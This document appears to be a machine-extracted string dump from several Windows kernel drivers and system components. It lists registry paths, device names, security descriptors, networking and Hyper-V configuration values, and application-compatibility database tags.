DelegateExecute {e44e9428-bdbc-4987-a099-40dc8fd255e7} \registry\machine\software\Classes\Unknown\shell\openas\command SetValueKey DeleteKey SetSecurityKey InvalidOperationType DB Lock Region Code Taskbar Prong1 Taskbarda Copilot Prong2 Office Self Protection InvalidRuleType svchost.exe KmdfLibrary EdgePartnerCode UCPD \registry\user\s-1-*-*-*-*-*-*\software\microsoft\windows\shell\associations\urlassociations\ ProgId MSEdge NalAndWigetsPartnerCode UCPDNAI UCPDWIDGETS \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\UCPD \Device\Null \Device\Beep NtQuerySystemInformation vmrawdsk \??\ CacheDir native virtual CommonAppData Microsoft\OFFICE\DATA PrevBootMode unknown disabled .vmwtmp cacheRelocate reloc_1 regdata.dat 8DEC0AF1-0341-4b93-85CD-72606C2DF94C \REGISTRY\MACHINE\SYSTEM\WPA Test Parameters vmrawdsk.log %windir%System32\spp\store\2.0\data.dat %windir%System32\spp\store\2.0\tokens.dat %windir%System32\spp\store\data.dat %windir%System32\spp\store\tokens.dat %windir%System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-a289-439d-8115-601632D005A0 %windir%System32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-a289-439d-8115-601632D005A0 %windir%ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SoftwareProtectionPlatform\tokens.dat %windir%System32\7B296FB0-376B-497e-B012-9C450E1B7327-2P-0.C7483456-a289-439d-8115-601632D005A0 %windir%System32\7B296FB0-376B-497e-B012-9C450E1B7327-2P-1.C7483456-a289-439d-8115-601632D005A0 %windir%ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\SoftwareLicensing\tokens.dat %CommonAppData%Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat %CommonAppData%Microsoft\OfficeSoftwareProtectionPlatform\Cache\cache.dat NULL \Device\%wZ%d PointerClass WaitWakeEnabled Port PsGetVersion WmiTraceMessage WmiQueryTraceInformation RtlQueryRegistryValuesEx EtwRegisterClassicProvider EtwUnregister \Device\ MouseDataQueueSize MaximumPortsServiced PointerDeviceBaseName ConnectMultiplePorts \Device\%wZLegacy%d PointerClass BdaSupportHybridIntegration GraphicsDrivers ForcedVesaMode GraphicsDrivers\BasicDisplay BdaDefaultResolutionOverride \Callback\SoftRestart rHardwareInformation.ChipType HardwareInformation.DacType HardwareInformation.AdapterString HardwareInformation.BiosString HardwareInformation.MemorySize BdaDisableAcpi \Device\DxgKrnl \Registry\Machine\System\CurrentControlSet\Services\DXGKrnl TELASSERT \Device\DxgKrnl WarpSupportHybridDiscrete GraphicsDrivers 3DNode%02X TdrDelay eWarpSupportsResourceResidency WarpOverrideWDDMVersion \Registry\Machine\System\CurrentControlSet\Services\DXGKrnl NamedPipe LOCAL\ dSessions\%ld\AppContainerNamedObjects\%wZ\%wZ Npfs\Aliases CompatFlags Npfs\Parameters \Device\NamedPipe %wZ\%lu-%lu-%lu-%lu Sessions\%ld\AppContainerNamedObjects\%wZ\%wZ\%wZ Sessions\%ld\BaseNamedObjects\%wZ\%wZ NPFS Mailslot \Device\Mailslot MSFS \Device\cimfs \Device\cimfs\control \DosDevices\CimfsControl %wZ\%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x \Device\MountPointManager SummaryCount NumAllocationFailures NumLargeEventFailures MinEntriesFlushed NumBucketLimitReached TotalEntriesFlushed MaxEntriesFlushed NumFlushes MaxEntriesStored {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} $INDEX_ALLOCATION $DATA :$DATA cimfs %ls_%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x_%u region IoCreateDeviceSecure IoValidateDeviceIoControlAccess D:P(A;;GA;;;SY)(A;;GA;;;BA) SeConvertStringSecurityDescriptorToSecurityDescriptor Class Properties NoDisplayClass Security NoUseClass DeviceCharacteristics DeviceType \Registry\Machine\System\CurrentControlSet\Control\Class Exclusive {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} \Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters NULL TdxPrematureConnectIndDisabled \Callback\AfdTdxCallback \DosDevices\Tcp \Device\Ip6 \Device\Ip \Device\Tdx \DEVICE\TCPIP_ \DEVICE\TCPIP6_ \Registry\Machine\System\CurrentControlSet\Services\Tcpip6\Parameters DisabledComponents {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\Tcp \Device\Tcp6 \Device\Udp \Device\Udp6 \Device\RawIp \Device\RawIp6 \Linkage \Registry\Machine\System\CurrentControlSet\Services\ Bind d\Device\WS2IFSL ScopeId DataBasePath Parameters Linkage Bind TransportBindName Parameters\Interfaces\ NameServerList DhcpNameServerList RASFlags EnableNagling NetbiosOptions DhcpNetbiosOptions EnableProxy MaxPreloadEntries SingleResponse MinFreeLowerConnections DhcpProcessingDelay CachePerAdapterEnabled MultipleCacheFlags AllowNBToInternet BcastQueryTimeout WinsDownTimeout MaxDgramBuffering InboundDgramNameCacheTimeout NameServerPort RefreshOpCode MinimumRefreshSleepTime LmhostsTimeout Size/Small/Medium/Large NameSrvQueryCount CacheRemoteNameOnDgramReceive PendingNameQueriesCount BacklogIncrement EnableLmhosts InitialRefreshT.O. EnableProxyRegCheck UseDnsOnlyForNameResolutions BcastNameQueryCount MaxConnBacklog SendDgramOnRequestedInterfaceOnly RandomAdapter SessionKeepAlive SmbDisableNetbiosNameCacheLookup NoNameReleaseOnDemand NameSrvQueryTimeout MaxNumNameCache CacheTimeout BreakOnAssert TryAllIpAddrs EnableDns TryAllNameServers ConnectOnRequestedInterfaceOnly TcpIp\Parameters \Device\Streams\ Parameters\Smb Export NodeType BroadcastAddress Tcp\Parameters \Device\Tdx Dhcp D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;GA;;;NS)(A;;GA;;;LS)(A;;GRGX;;;AU) NULL PsGetVersion WmiTraceMessage WmiQueryTraceInformation \Device\RasAcd \Device\If \Device\NetBt_If \Device\NetBt_Wins_Bind \Device\NetBt_Wins_Export \Device\NetBT NetBt l\Device\Netbt_Smb_Bind \Device\NetbiosSmb SessionPort DatagramPort EtwRegisterClassicProvider EtwUnregister IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} NetbiosOptions m/Large SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes \Device\Tcp6 \Device\Tcp \Device\Udp6 \Device\Udp default \Callback\AfdTdxCallback Microsoft Winsock BSP \Device\RawIp6 \Device\RawIp NULL \Device\BTHMS_RFCOMM StandardAddressLength DefaultReceiveWindow DefaultSendWindow DynamicSendBufferDisable TcpReceiveWindowMax HugeBufferSize LargeBufferSize MediumBufferSize SmallBufferSize DoNotHoldNICBuffers FastSendDatagramThreshold PacketFragmentCopyThreshold TransmitIoLength MaxFastTransmit MaxFastCopyTransmit DefaultPacketElementCount TransmitWorker \Device\Afd IrpStackSize PriorityBoost IgnorePushBitOnReceives DisableRawSecurity DisableDirectAcceptEx DisableChainedReceive UseTdiSendAndDisconnect IgnoreOrderlyRelease MaxActiveTransmitFileCount BufferAlignment VolatileParameters cAFD \Registry\Machine\System\CurrentControlSet\Services\Afd AfdMofResource \BaseNamedObjects\NameRes_StartCompleted PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister TELASSERT DisableContext NULL SerialNo %s%d {5d624f94-8850-40c3-a3fa-a4fd2080baf3}\vwifimp_wfd GlobalSerialNo GlobalSerialNoEx Virtual WiFi Filter Driver Parameters {5cbf81bf-5055-47cd-9055-a76b2b4e3698} vwififlt PsGetVersion WmiTraceMessage WmiQueryTraceInformation \Device\vwififlt D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GR;;;LS) \DosDevices\vwififlt EtwRegisterClassicProvider EtwUnregister VWifiSettings {028c616a-5490-4a7f-97c2-0ca19bdd9804}\vwwanmp {5d624f94-8850-40c3-a3fa-a4fd2080baf3}\vwifimp_sap {5d624f94-8850-40c3-a3fa-a4fd2080baf3}\vwifimp )(#\/ Traffic Control Global Interface Flow: {6A5FEDA9-9BCE-4da1-94BF-E67D08946119} \Registry\Machine\SOFTWARE\Policies\Microsoft\Windows\PSched ServiceTypeBestEffort ServiceTypeNonConforming ServiceTypeControlledLoad ServiceTypeGuaranteed ServiceTypeQualitative ServiceTypeNetworkControl ServiceTypeTcpTraffic MaxOutstandingSends NonBestEffortLimit DiffservByteMappingConforming DiffservByteMappingNonConforming UserPriorityMapping DisableRecursionFix WAN: [ Psched QoS Packet Scheduler {b5f4d659-7daa-4565-8e41-be220ed60542} \Device\Psched PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister Pacer Flow Pacer Pipe \DosDevices\Psched Default Profile PschedMofResource NULL 0123456789ABCDEF \REGISTRY\MACHINE\SOFTWARE \Registry\Machine\SYSTEM\CurrentControlSet\Control\hivelist External Synthetic Emulated Internal NDISCAP Microsoft NDIS Capture {430BDADD-BAB0-41AB-A369-94B67FA5BE0A} 6.1.0000 \Registry\Machine\System\CurrentControlSet\Control\ComputerName\ActiveComputerName \Registry\Machine\System\CurrentControlSet\Control\ComputerName\ComputerName ComputerName NULL Linkage Parameters IrpStackSize MaxLana LanaMap \Device\Netbios Netbios vmmem {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} (null) NULL PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister ForceSmallPages ForceZeroOnFree UsePoolForMbpArray SkipSmallLocalAllocations FreezeTimeInModernStandby D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGWGX;;;AU)(A;;GRGWGX;;;S-1-15-3-1024-1350733694-1533467442-3402045280-1710179238-1008639688-2282869650-3611451526-669908847) \Device\VidExo \DosDevices\VidExo ExoDeviceEnabled ExoDeviceEnabledClient \Device\PhysicalMemory ForceDeferredCommit ForcePinBackingPages FaultClusterSizeShift DirectMapFaultClusterSizeShift PageBackingSize ForcePageBackingSizeRequired PageMappingSize ForceSmallGpaMappings KmdfLibrary xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx PageCombiningInterval \KernelObjects\NonMirroredMemory \KernelObjects\MemoryPartition0 \Device\VsmmMemXfer \DosDevices\VsmmMemXfer \??\VsmmMemXfer\ MemXferConnection XTS-AES MessageBlockLength KeyDataBlob \Callback\VidPhu kDaxRegularFileBackedEnabled eVirtStackMetadata Primary \KernelObjects\MemoryPartitionVirtStackMetadata \KernelObjects\MemoryPartitionHyperV SizeInMB MemoryReservePercentage IoSpaceSizeInMB Percentage eMemoryReserveAbove4GBOnly Above4GBOnly MemoryReserveHugePagesOnly HugePagesOnly UseSystemPartitionForPhysicalBuffers UseSystemPartitionForHvDeposits AllowNumaSpanning AllowSpillingForHvDeposits MemoryReserve AllowPostKsrCreate Numa%u yTargetSizeInMB NumaIoSpaceDemotionCounts UseNonMirroredPartition c\KernelObjects\MemoryPartitionHypervisorMetadata Node%u IgnoreMemPart yName \Registry\Machine\SYSTEM\CurrentControlSet\Control\Hypervisor\MetadataMemoryPartition SoftRestartCount y\Registry\Machine\SYSTEM\CurrentControlSet\Control\Hypervisor c\Callback\SoftRestart HvPreDepositPagesPerGbMemory HvMemWithdrawalMinPagesPerWorker HvPreDepositPagesPerVp HvMemWithdrawalProcessorCapFactor .%016llX.slp D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC) D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGWGX;;;WD)(A;;GRGWGX;;;RC) ChainingModeCBC BlockLength ChainingMode \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Vid \Driver\WinHvr \KernelObjects\HvlWithdrawAllowed DfssDisabled \MAILSLOT \IPC$ \PIPE >>>>>>>>.>>> wkssvc.dll \VSMB-{dcc079ae-60ba-4d07-847c-3493609c0870}\SharedMemory$ \Registry\Machine\System\CurrentControlSet\Services\LanmanWorkStation\Parameters NULL \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System \GLOBAL??\ \Device\Mup FsRtlTeardownPerStreamContexts PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \??\fsWrap \Device\FsWrap EnableLinkedConnections Parameters AsyncPrefixClaimThreshold DisableByteRangeLockingOnReadOnlyFiles \Registry\Machine\System\CurrentControlSet\Control\Lsa AllowLowIntegrityNetworkAccess \Registry\Machine\SYSTEM\CurrentControlSet\services\Ndu\Parameters DeviceSecurity :$data -xx- IPC$ PIPE MAILSLOT developmentModeNetwork ;$:\ System \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock TargetNtPath \Registry\Machine\SOFTWARE\Policies\Microsoft\Windows\Appx AppModelUnlock AllowDevelopmentWithoutDevLicense AppxPolicies filespec-to-match :*?<>" :CscBitmapStream @GMT-****.**.**-**.**.** \$RECYCLE.BIN \Registry\Machine\System\CurrentControlSet\Services\CSC\Parameters NULL \Device\Mup PsGetVersion WmiTraceMessage WmiQueryTraceInformation \.\. \.\queue \.\control Store: StringTable: EtwRegisterClassicProvider EtwUnregister \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Service \Registry\Machine\SOFTWARE\Policies\Microsoft \Registry\Machine\SOFTWARE\Policies\Microsoft\PeerDist\Service Enable \Device\Csc Microsoft-Windows-OfflineFiles-Core-FeatureEnabled \Registry\Machine\System\Setup SystemSetupInProgress \Device\FsWrap IPC$ PIPE $NOCSC$ Offline CSC-CACHE CacheLocation \SystemRoot\CSC LastSparseExclusionList *.doc;*.xls;*.ppt;*.vsd;*.tmp;*.pps;*.msi;*.mst;*.dot;*.opt;*.mpp;*.dts;*.vsmacros;*.mso;*.suo;*.msg;*.est; MaxCacheFreesizePercent 00000019 MaxUnpinnedSizePercent 00000064 QuotaCheckEnabled FreeSpaceThresholdPercent EvictToThresholdPercent 0000001E QuotaWarningThresholdPercent 00000014 ManualEvictionPeriodSeconds 00000384 AutocacheEvictionUnsuccessfulPeriodSeconds AutocacheEvictionIncompletePqPeriodSeconds 00000708 FormatDatabase TemporaryOfflineFilesQuotaZeroFudgeKB ReadOnlyCache ShareEnumOfflineOnOfflineShare ExcludedFileTypes OnlineCachingLatencyThreshold PeerCachingLatencyThreshold CachingEnabled Microsoft-Windows-OfflineFiles-Core-BranchCachingEnabled \Callback\LicensingData .Status LastIndexValue \Registry\Machine\System\CurrentControlSet\Services\CSC\Parameters\FailedRebootRename \Registry\Machine\System\CurrentControlSet\Services\CSC\Parameters\RebootRename namespace \temp\ v%u.%u.%u sm.temp temp temp- .dat saved- \Device\Nsi D:P(A;;GX;;;WD)(A;;GA;;;SY)(A;;GA;;;BA)(A;;GX;;;RC)(A;;GX;;;AC) D:P(A;;FA;;;S-1-5-80-2310782386-4237065203-3688974353-390202159-3511571085) \??\Nsi IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} NULL \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\NetworkServiceTriggers\Triggers\ PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister bc90d167-9470-4139-a9ba-be0bbbf5b74d 1f81d131-3fac-4537-9e0c-7e7b0c2f4b55 \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\NetworkServiceTriggers\Config\ NamedPipeTimeout 1f81d131-3fac-4537-9e0c-7e7b0c2f4b55 \Registry\Machine\System\CurrentControlSet\Control\SystemInformation SHA1 Microsoft Primitive Provider {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} BaseBoardManufacturer SystemProductName BaseBoardVersion SystemSKU SystemManufacturer SystemVersion BIOSVersion BIOSVendor SystemFamily BaseBoardProduct BIOSReleaseDate MSR8B ~MHz Component Information Configuration Data Feature Set Identifier ProcessorNameString Update Signature Update Status VendorIdentifier BIOS Data InformationSource AcpiData BiosData RegistersData SMBiosData SMbiosLightData BiosMajorRelease BiosMinorRelease ECFirmwareMajorRelease ECFirmwareMinorRelease ComputerHardwareIds ComputerHardwareId EnclosureType MofResource ObjectLength HashDigestLength %02x&%02x \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 \Registry\Machine\Hardware\Description\System \Device\Mup \IPC$ MaxReferralCacheKBytes ReferralTTLMultiplier MaxDomainCacheKBytes DomainTTLMultiplier MaxEntriesDeletedPerInterval ScavengerThreadIntervalSeconds MaxReferralTTLInSeconds \Registry\Machine\System\CurrentControlSet\Services\Mup MaxDomainTTLInSeconds NULL Init Validate CheckRefType GetRootReferral GetSysvolNetlogonReferral Iterate DataAccess GetLinkReferral InterLink Done Terminate SYSVOL NETLOGON PIPE IPC$ ADMIN$ MAILSLOT TSCLIENT WSL$ WSL.LOCALHOST PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\DfsClient \Dfs \Parameters WAS NOT \??\X: %08x%08x DisableDfs Parameters EnableDfsLoopbackTargets \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLinkedConnections UseDcLocatorSiteName \Registry\Machine\System\CurrentControlSet\Services\Netlogon\Parameters SiteName LINK_REF ROOT_REF RtlQueryRegistryValuesEx PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister ResendIterations PollingIterations PollingTerationsMaximum BreakOnSysRq Headless ReportResetErrors AsyncStart NULL Parameters KeyboardFailedReset e\Crashdump Dump1Keys Dump2Key \DebugEnable Debug1Keys Debug2Key KeyboardDataQueueSize OverrideKeyboardType OverrideKeyboardSubType PollStatusIterations PowerCapabilities CrashOnCtrlScroll KdEnableOnCtrlSysRq MouseDataQueueSize NumberOfButtons SampleRate MouseResolution MouseSynchIn100ns EnableWheelDetection MouseInitializePolled MouseResendStallTime WheelDetectIDs WheelDetectionTimeout MSH0002 MSH0005 MSH001F MSH0020 MSH002A MSH0030 MSH0031 MSH003A MSH0041 MSH0043 MSH0044 WaitWakeEnabled AllowDisable \Device\%wZ%d NULL Port PsGetVersion WmiTraceMessage WmiQueryTraceInformation RtlQueryRegistryValuesEx EtwRegisterClassicProvider EtwUnregister \Device\ KeyboardClass KeyboardDataQueueSize MaximumPortsServiced KeyboardDeviceBaseName ConnectMultiplePorts SendOutputToAllPorts \Device\%wZLegacy%d KeyboardClass WIN://SYSAPPID \Device\Harddisk \Device\Bam \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BAM TimerDelayMs TimerCoalesceMs TelemetryIntervalMs DebounceIntervalMs RecheckSettingsIntervalMs ScavengeUserSettingsIntervalMs UserSettingsLifetimeMs GlobalPolicy ImagePolicy ImageExemptions ScreenOnExemptions EnableBAM UserSettings Version SequenceNumber IoCreateDeviceSecure IoValidateDeviceIoControlAccess D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR;;;WD) SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes __COMPAT_LAYER systemroot .LOCALAPPDATA \VarFileInfo\Translation \StringFileInfo\%04X%04X\%s \??\%s {%08lx-%04hx-%04hx-%02hx%02hx-%02hx%02hx%02hx%02hx%02hx%02hx} Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs \Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags \AppPatch \SystemRoot Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates DisableDoubleQuerySdbs sysmain.sdb pcamain.sdb drvmain.sdb msimain.sdb sysMerge.sdb msiMerge.sdb drvMerge.sdb frxmain.sdb appraiser.sdb acres.dll \Registry\Machine r\??\ TASKHOST.EXE HEADLESSHOST.EXE !#$~^@ __PROCESS_HISTORY \REGISTRY\MACHINE\%s hdbRegistryDefaultName \??\UNC\ \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom \Layers\ %08I32x %016I64x %04hx \Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers \SystemRoot\Temp\AslLog_ahcache.txt \System\CurrentControlSet\Services\ahcache VerboseLog SdbTime \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCompatCache AppCompatCache CacheMainSdb \SystemRoot\AppPatch\DirectXApps.Sdb FileAttribute Unknown \System32\mrt100.dll \Microsoft.NET\Framework\v1.0.3705\mscorwks.dll \Microsoft.NET\Framework\v1.0.3705\mscorsvr.dll \Microsoft.NET\Framework\v1.1.4322\mscorwks.dll \Microsoft.NET\Framework\v1.1.4322\mscorsvr.dll \Microsoft.NET\Framework\v2.0.50727\mscorwks.dll \Microsoft.NET\Framework\v4.0.30319\clr.dll \Microsoft.NET\Framework64\v4.0.30319\clr.dll \Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll Citm \Registry\Machine\System\CurrentControlSet\Control\Session Manager\AppCompatCache \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CIT \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CIT\Module OverflowQuota OverflowValue \Data\Users\DefApps\AppData\ \Local \Device\ahcache \DosDevices\ahcache DatabaseType DatabaseRuntimePlatform AutorunsDisabled_ .sdb AppPatch64 ]\MergeSdbFilesSource \CustomSDB Custom Custom\Custom64 \appraiser \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB \AppPatch\ StagedDelete_ __NotRedirected__ MergeVer_ ]MergeVer .MinMergeVer Velocity CapabilityAlwaysExists Tag_MATCHING_SDB_CAPABILITY_Supported Tag_MATCH_LOGIC_NOT_IF_SDB_CAPABILITY_EXISTS_Supported Tag_MATCHING_COMMAND_LINE_Supported INCLUDE GENERAL MATCH_LOGIC_NOT APPLY_ALL_SHIMS USE_SERVICE_PACK_FILES MITIGATION_OS TRACE_PCA INCLUDEEXCLUDEDLL RAC_EVENT_OFF TELEMETRY_OFF SHIM_ENGINE_OFF LAYER_PROPAGATION_OFF FORCE_CACHE MONITORING_OFF QUIRK_OFF ELEVATED_PROP_OFF UPGRADE_ACTION_BLOCK_WEBSETUP UPGRADE_ACTION_PROCEED_TO_MEDIASETUP HWCOMPAT_DEVICE HWEXCLUDE_DEVICE WUCOMPAT_DEVICE APPEND_COMMANDLINE COMPARE_CASE DELETED_ENTRY DEFAULT_VALUE MATCHED_OBJECT USE_INVENTORY BOOT_START_DRIVER MSI_NO_REDIST_CHECKS MATCH_MODE QUIRK_COMPONENT_CODE_ID QUIRK_CODE_ID IS_ARM64X INDEX_TAG INDEX_KEY SIZE OFFSET CHECKSUM SHIM_TAGID PATCH_TAGID MODULE_TYPE VERDATEHI VERDATELO VERFILEOS VERFILETYPE PE_CHECKSUM PREVOSMAJORVER PREVOSMINORVER PREVOSPLATFORMID PREVOSBUILDNO PROBLEMSEVERITY LANGID VER_LANGUAGE OS_KIND ENGINE HTMLHELPID INDEX_FLAGS FLAGS DATA_VALUETYPE DATA_DWORD LAYER_TAGID MSI_TRANSFORM_TAGID LINKER_VERSION LINK_DATE UPTO_LINK_DATE FLAG_TAGID RUNTIME_PLATFORM GUEST_TARGET_PLATFORM APP_NAME_RC_ID VENDOR_NAME_RC_ID SUMMARY_MSG_RC_ID VISTA_SKU_UNUSED DESCRIPTION_RC_ID PARAMETER1_RC_ID HWCOMPAT_HWID_COUNT TITLE_MSG_RC_ID_BACKUP SUMMARY_MSG_RC_ID_BACKUP CONTEXT_TAGID EXE_WRAPPER EXE_TYPE FROM_LINK_DATE REVISION_EQ REVISION_LE REVISION_GE DATE_EQ DATE_LE DATE_GE CPU_MODEL_EQ CPU_MODEL_LE CPU_MODEL_GE CPU_FAMILY_EQ CPU_FAMILY_LE CPU_FAMILY_GE CREATOR_REVISION_EQ CREATOR_REVISION_LE CREATOR_REVISION_GE SIZE_OF_IMAGE SHIM_CLASS PACKAGEID_ARCHITECTURE REINSTALL_UPGRADE_TYPE BLOCK_UPGRADE_TYPE ROUTING_MODE OS_VERSION_VALUE CRC_CHECKSUM URL_ID QUIRK_TAGID UNUSED_DWORD_1 MIGRATION_DATA_TYPE UPGRADE_DATA MIGRATION_DATA_TAGID REG_VALUE_TYPE REG_VALUE_DATA_DWORD TEXT_ENCODING UX_BLOCKTYPE_OVERRIDE EDITION FW_LINK_ID KB_ARTICLE_ID TITLE_MSG_RC_ID LINK_TEXT_RC_ID LINK_TEXT_RC_ID_BACKUP EXITCODE LOOKUP_TAGID TARGET_DATABASE_CHECKSUM BASELINE_DATABASE_CHECKSUM REQUESTED_ATTRIBUTES BACKUP_LABEL CRC_CHECKSUM_BOOT FILE_KIND_DETAIL CONTAINMENT_ID TAGID TIME BIN_FILE_VERSION BIN_PRODUCT_VERSION MODTIME FLAG_MASK_KERNEL UPTO_BIN_PRODUCT_VERSION DATA_QWORD FLAG_MASK_USER FLAGS_NTVDM1 FLAGS_NTVDM2 FLAGS_NTVDM3 FLAG_MASK_SHELL UPTO_BIN_FILE_VERSION FLAG_MASK_FUSION FLAG_PROCESSPARAM FLAG_LUA FLAG_INSTALL FROM_BIN_PRODUCT_VERSION FROM_BIN_FILE_VERSION PACKAGEID_VERSION FROM_PACKAGEID_VERSION UPTO_PACKAGEID_VERSION OSMAXVERSIONTESTED FROM_OSMAXVERSIONTESTED UPTO_OSMAXVERSIONTESTED FLAG_MASK_WINRT REG_VALUE_DATA_QWORD QUIRK_ENABLED_VERSION_LT SOURCE_OS SOURCE_OS_LTE SOURCE_OS_GTE FILESIZE NAME DESCRIPTION MODULE VENDOR APP_NAME COMMAND_LINE COMPANY_NAME DLLFILE WILDCARD_NAME PRODUCT_NAME PRODUCT_VERSION FILE_DESCRIPTION FILE_VERSION ORIGINAL_FILENAME INTERNAL_NAME LEGAL_COPYRIGHT 16BIT_DESCRIPTION APPHELP_DETAILS LINK_URL LINK_TEXT APPHELP_TITLE APPHELP_CONTACT SXS_MANIFEST DATA_STRING MSI_TRANSFORM_FILE 16BIT_MODULE_NAME LAYER_DISPLAYNAME COMPILER_VERSION ACTION_TYPE EXPORT_NAME VENDOR_ID DEVICE_ID SUB_VENDOR_ID SUB_SYSTEM_ID PACKAGEID_NAME PACKAGEID_PUBLISHER PACKAGEID_LANGUAGE MANUFACTURER MODEL DATE REG_VALUE_NAME REG_VALUE_DATA_SZ MIGRATION_DATA_TEXT APP_STORE_PRODUCT_ID MORE_INFO_URL DEST_OS_VALUE_DEF DEST_OS_GTE DEST_OS_LT DEST_OS PACKAGE_STRONGNAME FALLBACK_XML LINK_TEXT_OVERRIDE MATCH_LOGIC_NOT_IF_SDB_CAPABILITY_EXISTS ESCAPE_CHARACTER FEATURE_NAMESPACE FEATURE_COMPONENT FEATURE_NAME OPTION_NAME PUBLISHER MATCHING_LABEL UPTO_PRODUCT_VERSION UPTO_FILE_VERSION FROM_PRODUCT_VERSION FROM_FILE_VERSION LANGUAGE CONTAINMENT_TYPE DATABASE LIBRARY INEXCLUDE SHIM PATCH MATCHING_FILE SHIM_REF PATCH_REF LAYER FILE APPHELP LINK DATA MSI_TRANSFORM MSI_TRANSFORM_REF MSI_PACKAGE FLAG MSI_CUSTOM_ACTION FLAG_REF ACTION LOOKUP CONTEXT CONTEXT_REF KDEVICE KDRIVER MATCHING_DEVICE ACPI BIOS KFLAG KFLAG_REF KSHIM KSHIM_REF REINSTALL_UPGRADE KDATA BLOCK_UPGRADE SPC_DEPRECATED QUIRK QUIRK_REF BIOS_BLOCK MATCHING_INFO_BLOCK DEVICE_BLOCK MIGRATION_DATA MIGRATION_DATA_REF MATCHING_REG MATCHING_TEXT MACHINE_BLOCK OS_UPGRADE PACKAGE PICK_ONE MATCH_PLUGIN MIGRATION_SHIM UPGRADE_DRIVER_BLOCK UNUSED_LIST_TAG1 MIGRATION_SHIM_REF CONTAINS_FILE CONTAINS_HWID DRIVER_PACKAGE_BLOCK DEST_OS_VALUES HWCOMPAT_SOURCES HWCOMPAT_SOURCE_INFO C_STRUCT PROCESS_MODULE C_STRUCT_REF MATCHING_WILDCARD_FILE MATCHING_WILDCARD_REG MATCHING_DIR MATCHING_SDB_CAPABILITY MATCHING_COMMAND_LINE SDB_MERGE_INFO SOURCE_DB MERGE_DB SDB_MERGE_METADATA FEATURE_DEF FEATURE_REF FEATURE_SETTING SETTING_OPTION BACKUP_FILE BACKUP_APPLICATION BACKUP_PACKAGE RESTORE_FILE RESTORE_APPLICATION RESTORE_PACKAGE BACKUP_INCLUDE_FILE MATCHING_BACKUP_FILE MATCHING_WILDCARD_BACKUP_FILE 